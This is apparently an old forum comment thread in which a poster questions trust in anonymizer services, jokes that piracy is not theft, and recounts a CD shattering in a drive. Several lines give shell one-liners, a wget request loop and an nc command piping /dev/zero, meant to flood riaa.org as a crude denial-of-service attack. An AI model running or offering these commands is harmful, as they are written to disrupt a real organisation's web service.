  2. But can you trust anonimizer? on Privacy Arms Race Takes Another Step · · Score: 1

    I don't see how you can trust anonimizer to not keep logs. How do we know that they aren't run by the feds? I'd rather just get a shell account and tunnel my traffic through that.

    Or, better yet:

    `while sleep 5;do wget -O /dev/null -T 2 -U 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)' http://www.riaa.org/;done`

    The -T 2 will keep wget from getting hung when the server can't take a connection

    Also, if you have a big pipe....

    `nc -u www.riaa.org 80 /dev/zero`

    this will kill your connection too, untill you stop it.

    What would be nice for the windows users is a zip of html pages that reloads riaa.org in a frame every 5 seconds.

    Either they've rate-limiteds thier http server somehow, or they're still having problems.
    while sleep 15;do wget -O /dev/null -U 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)' http://www.riaa.org/;done

    Piracy is not stealing. Just ask Webster's.
    Theft \Theft\, n. [OE. thefte, AS. [thorn]i['e]f[eth]e,
    [thorn][=y]f[eth]e, [thorn]e['o]f[eth]e. See {Thief}.]
    1. (Law) The act of stealing; specifically, the felonious
    taking and removing of personal property, with an intent
    to deprive the rightful owner of the same; larceny.

    Note: To constitute theft there must be a taking without the
    owner's consent, and it must be unlawful or felonious;
    every part of the property stolen must be removed,
    however slightly, from its former position; and it must
    be, at least momentarily, in the complete possession of
    the thief. See {Larceny}, and the Note under {Robbery}.
    If you copy something that you wasn't worth buying, have you really deprived anyone of anything?

    My 16X DVD-ROM Drive decided it didn't like one of my CD-Rs, so it blew it up on July 4th. I put the CD in to install some stuff (Mandrake RPMs not pirited software) and I heard this nasty *BANG*. I tried to open the drive, but it was of course broken. I pulled out the drive and there was a large shard of CD sticking out through where the aluminum lid met the back of the drive, and I had to *PRY* it out. Then I opend the drive and emptied the CD and bits of drive electronics in the trash, and I'm not covered under warennty.
